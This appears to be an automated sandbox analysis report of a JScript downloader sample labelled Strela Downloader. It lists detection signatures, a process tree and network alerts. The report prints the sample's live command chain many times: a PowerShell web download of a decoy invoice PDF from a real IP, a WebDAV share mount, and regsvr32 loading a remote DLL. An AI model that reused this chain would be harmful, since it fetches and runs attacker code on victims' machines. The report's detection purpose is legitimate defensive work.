Edit tour

Windows Analysis Report
2445839083247016653.js

Overview

General Information

Sample name:	2445839083247016653.js
Analysis ID:	1588377
MD5:	bcec8a5a093c46ebf5c76ef8c3f16f7a
SHA1:	c62151e6015c815a4f575c0502926c0735fb6e3b
SHA256:	c4a30d4efa5268d868f007a6e5323a1a43dd61c900508effb0d857327bc99947
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2960 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5948 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3796 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5928 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4372 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,8371664929823362149,8041014121270518738,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2896 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3524 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2324 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2960	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5948, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5948, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ProcessId: 2960, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3524, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 5948, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ProcessId: 2960, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5948, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3796, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2896, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3524, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2324, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2896, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3524, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2445839083247016653.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2960, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2412849879429.dll, ProcessId: 5948, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:34:54.811084+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:34:57.376334+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:34:54.811084+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2445839083247016653.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2445839083247016653.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:34:54 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
